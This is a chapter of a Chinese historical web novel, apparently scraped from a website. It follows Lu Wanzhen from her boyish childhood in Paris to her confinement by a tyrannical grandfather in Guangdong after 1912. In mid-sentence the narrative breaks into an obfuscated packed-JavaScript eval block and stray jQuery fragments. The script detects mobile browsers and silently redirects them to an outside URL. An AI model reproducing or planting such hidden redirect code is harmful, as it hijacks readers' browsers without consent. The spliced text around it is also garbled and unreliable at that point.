陆婉珍从小就觉得她爹娘有心事。


    娘的心事很好懂，娘每天都发愁她要穿什么戴什么，怎么多抄点经，怎么生出个儿子。


    每次爹不回来睡，娘就会自个儿坐在桃花心木的梳妆台前，在高级公使住宅里的明亮电灯下捡佛豆，捡一个，就念一声阿弥陀佛。


    娘已经32岁了，生育的黄金年龄已经过去，她在祈求一个儿子。


    而爹的心事就不那么好懂了。


    爹是个很厉害的人，陆婉珍知道。她喝咖啡，吃黄油吐司，上马桶，用浴缸洗澡，睡羽绒床垫，三个家庭教师和五个女仆整天围着她转，穿的软缎拖鞋一双就值得十两银子。


    她在院子里骑小马，在大戏院的包厢里看戏，穿着手工定制的绣花礼服，坐着标致牌小汽车，跟爹一块逛香榭丽舍大街，有时候也去爱丽舍宫和枫丹白露参加酒会。


    爹在那里，跟许多男男女女端着香槟谈笑风生，带着领结的仆人会称呼她Mademoiselle（小姐），为她端上蒙布朗蛋糕和洒满糖霜的马卡龙。这些生活不是人人都能过的上的，她能拥有，只是因为她是爹的女儿。


    但是爹不开心。


    爹发现娘在捡佛豆的时候不开心，坐小汽车的时候不开心，看戏的时候不开心，每次去过酒会，爹的不开心就会达到一个峰值。


    可她不知道爹为什么不开心。


    有一天，娘在收拾爹的新衣服，她跟着忙里忙外地捣乱，把裁缝给爹做的礼帽戴在头上，爹看了哈哈大笑，还吩咐裁缝给她也做一身小西服配礼帽。所以她就想，也许爹跟娘一样，都是想要个儿子？


    从那以后，她开始穿裤子，戴礼帽，还把头发都剪短，十足十就是一个男孩。她还跟爹闹着要学击剑、射击、拳术，爹果然很高兴，一一满足了她不说，从此对她更是另眼相看。


    她成了爹最宠爱的孩子，他把她带在身边，亲自教养，检查她的每一份功课，教她说外语，当他会客的时候，就把她抱在膝盖上，让她给自己点雪茄，还给她起了个法国名字，叫做里奥。


    爹兴致来了会写几个大字，每当这个时候，他就会叫婉珍在旁边磨墨。爹写：“男儿不带吴钩，收取关山五十州”“愿将腰下剑，直为斩楼兰。”“宁为百夫长，不做一书生。”……


    然后，爹就会端着一杯清茶，品一口，叹两声，然后把她搂在怀里，一个字一个字地念给她听，并且告诉她这诗里的意思。


    陆婉珍想，她可能有点明白，爹为什么不开心了。


    一年一年过去，陆婉珍始终是家里最小的孩子，娘也不再捡佛豆了，娘把自己的房间改成了庵堂，那里常年飘着线香的气味，每次陆婉珍过去给娘请安时，都看见她在一片烟火缭绕里直挺挺地跪着，两个眼睛永不抬起来，那是一种标准的赎罪姿势。


    没有传下陆家的香火，就是她的罪。


    陆婉珍的身高也开始拔高，爹在她身上花费的精力没有白费，十二岁的陆婉珍，已经显示出了与众不同的天赋。


    她聪明过人，进退有度，会说英语、法语、德语、拉丁语和西班牙语，常年的体育锻炼让她的身高猛窜，已经长到了父亲肩头的位置。无论从哪个角度看，她跟她三个拱肩缩背、沉默温顺的姐姐已经不是同一个物种。


    她开始偷偷出门，她家看门的人里有个男孩，是她母亲陪嫁丫头的儿子，可惜他爹娘命不好，陆陆续续都病没了。母亲初时养着他，打算让他给未来的小少爷做贴身的小厮，名字也没给取，只有个乳名叫石狗儿。


    后来，母亲绝了生育的想望，他就被打发出去看大门，大家就狗儿狗儿的叫着，叫到他十四岁。


    石狗儿羞羞怯怯的，面目清秀，一双眼睛像小鹿一样圆溜溜的。她央求了他两次，又许诺会带好吃好玩的东西回来，软磨硬泡之下，终于把他哄得开了门。


    她穿了夹克，戴着鸭舌帽上街去，活脱脱就是街头卖报纸的小子，骑着自行车混在巴黎的人群里，没有人会多扫她一眼。


    她尤其爱去塞纳河畔的咖啡馆，在那里点上一杯咖啡，饶有兴味地听着那些社会活动家的高论，什么平等、人权、反殖民、罢工、资本主义的，有的她能听懂，有的她听不懂，就记在心里，回去问爹。


    如此几次，她偷跑出门的事情就露馅了，爹气得不得了，但不是气她偷跑出门，而是气她自己悄悄出去，怕她遇上不测。后来，她每天都可以光明正大的出门了，只是必须带上一个男仆跟着去——狗儿。


    审讯室，张松鹤给石将军斟上第二杯茶。


    “……四小姐对我很好。”石将军的话匣子打开就停不下来，“说来惭愧，我那时候只是他家里的一个下人，但她从来不喊我狗儿，她给我起了一个名字，石志坚。她说世界上所有的人都有人权，不被人叫狗儿就是最基础的人权。”


    “一出门，她买什么，就给我也买什么，冰淇淋、咖啡、金黄的可颂和浓浓的里昂肉冻……后来，四小姐还拿零花钱给我买了一辆自行车，老爷不同意，她据理力争，说我有了自行车，她出门时才不用停下来等我。”


    “四小姐聪明极了，她也会在咖啡馆里跟那些洋人讨论，还让我把他们说的话给记下来。我说我不会写字，她又教我写字，法国字，中国字，统统都教了一遍，还把她看过的书拿给我看。”


    石将军脸上露出一个既温柔的笑意：“那时候，我整天都像是飘在云里，觉得自己交了想也不敢想的好运，能服侍这么聪明、这么能干、这么善良的小姐。但四小姐不高兴，因为我始终不肯叫她的名字，只肯叫她四小姐，哪怕老爷太太不知道的时候，我也一样这么做。”


    “那您为什么不叫她的名字呢？”


    “我哪里敢呢？我那时候只是她家里一个看门的奴才。四小姐待我好，但我不敢做任何僭越的事情，怕放肆惯了，以后改不回去了。我比她大几岁，知道老爷不能在法国呆一辈子，早晚是要回去的。四小姐的日子能过的这么舒畅，是因为这毕竟是外国，将来她就知道了，法国公使小姐过的日子，跟中国官家小姐过的日子，可完全不是一回事呀……”


    1912年，清帝逊位，华夏改元为中华民国，清廷所有外交关系一律废止。


    陆婉珍告别了法国，跟随父亲踏上了归国的航船，回到广东老家去。船行三月，来到珠江码头时正是五月中旬，天气已经暑热蒸人，码头的劳工们搬货搬得大汗淋漓。


    陆婉珍见到的第一个祖国同胞，就是码头上的苦力。他们黑黑的，瘦瘦的，干瘪的胸脯下是成排的肋骨，胯骨在一层皮下面突出来，有不少人连一条裤子都没有，说起像人，不如说八分像鬼，两分像猴。


    几百斤的大包扛在他们细瘦的肩头，压得他们一晃一晃，没有人吭一声，在监工们的鞭子下，他们排成一排，沉默地走。


    祖父已经打发了不少家仆来接她们，当着老仆的面，爹破天荒第一次，拒绝了陆婉珍要跟他一块骑马回去的要求。


    “这不是法国了。”爹是这样讲的。


    那天，她是坐着一乘密不透风的小轿子回去的，跟她同乘一轿的还有她三姐。轿子里又闷又热，她几次想要掀开轿帘透透气，却愕然发现，轿帘已经被线缝死了。


    这乘小轿子就这样把她抬进了家门，当家的人也不是爹了，而是素未谋面的祖父。


    高高的屋梁下，她和三个姐姐站成一排，给祖父磕头请安，三个姐姐驯顺地跪下，她却下意识地行了一个单膝跪地礼，还是爹一声咳嗽，她才反应过来，双膝落地。


    祖父


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16906088|191265||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    眯着眼睛，都看在眼里，当下冷笑一声，也不回应，也不叫起，悠悠然背着手，走回后屋睡午觉去了，直到华灯初上，才有老嬷嬷来传话，叫三个姐姐不必跪了。


    爹满脸心疼，去找祖父求情。


    “香灯无继，又失官职，现下为了丫头片子，敢这样忤逆老父！”


    她清楚地听见祖父的呵斥，片刻后，爹退出来，跟她一块跪在堂屋地下。


    那天晚上，她累的实在跪不住，爹搂着她，让她能倒在自己身上稍微睡会，一遍又一遍地在她耳边说：“这不是法国了，祖父是有意磨一磨你的性子，从今后，你要多向姐姐学学。”


    向姐姐学习？跟她们一样，整天像个鹌鹑一样缩着脖子，烧香，抄经书，绣花，纳鞋底子？


    那就不是她陆婉珍了。


    她仍像以前一样，每天起来就打拳、练剑，没有场地给她骑马，她就在自己的小院子里绕着圈跑步。日复一日，从不间断。


    祖父对这个桀骜的孙女儿反而犯难了，他差人来宣讲《女则》、《女诫》，陆婉珍当面听着，转过头来全当耳旁风。让她跪祠堂，她跪不住了就直接躺在当地睡觉，广东天气暑热，睡一夜地板权当解暑。老妈子要打她手板，怎及她灵活强壮，三个仆妇抓不住她一个。


    陆婉珍想得很简单：只要你不敢杀了我，那你其实也不能把我怎么样。


    唯一让她心疼的，是她每次惹怒祖父，爹都会陪着她吃挂落。


    但父亲不在乎，有一次，祖父以“教女不严”对爹动了板子，让她在旁边看，爹一头挨打，一头还悄悄在祖父看不见的地方，对着她笑。


    她心里明白，她做了爹不敢做的事情，对于这样一个家，爹也未必多喜欢。


    祖孙三代几番拉扯，祖父的权威被一再侵犯，所有手段都试过了，没有一样有用，祖父气的指着她鼻子大骂：“你到底是要怎么样！”


    陆婉珍昂着脖子：“我不想怎么样，我只要求跟以前一样。念书、上街、习武，不用跪来跪去，不用听人摆布。不仅我是如此，我要中华大地，每个人亦当如此！”


    她目光炯炯地盯着那鸡皮秃头的祖父，他惊得眼珠瞪得老大，眼皮上的层层叠叠的褶子都撑开了：“列强入侵，国难当头，火焚圆明园，舰沉威海卫，《天津条约》、《马关条约》、《辛丑条约》，咱们被人摆布的还不够吗？大清已亡了，大大小小的地也都丢了，祖父却只知道在家作老封君！既要子孙服膺你，就要拿出个让人钦佩的样子出来，以振兴中华为我陆家之家训，只拿孝亲二字教子教孙，岂不可笑！”


    娘在一边扑上来就要捂她的嘴，陆婉珍一闪身错开，话说到这里，她索性说个痛快：“祖父嫌我在家碍眼，何不打发了我？我愿从军入伍，身带吴钩，收复关山，纵然马踏残驱，也不枉生为人身一场，强过钻在这密不透风的小屋子里，蹉跎光阴，计日等死！”


    祖父被她的话刺的勃然大怒：“荒谬！满嘴里说的都是些什么！女子从军？我看你是发疯了！来人啊，把这个疯子给我关在她的院子里，免得丢尽了我们陆家的脸！”


    她并不意外这个结果，不等人来押，她便冷笑三声，自顾自地离去。


    父亲为她求情，毫无疑问又吃了一顿板子。这里不是法国，这里没有平等也没有人权，只有一个孝字大过天。


    身边的仆人都被撤了，院墙也被加高到五米左右，院门上落着三把大锁，连爹娘都不能见她的面。一个哑巴女人一天给她送两顿饭，是通过门上的一个活动板子递进来的。祖父说她有疯病，为了陆家的清誉，一辈子都不会给她说亲。


    祖父把不能嫁人视作一种惩罚。


    她知道这件事的时候，一个人躲在被窝里笑了好久，笑的整个床帐都瑟瑟发抖。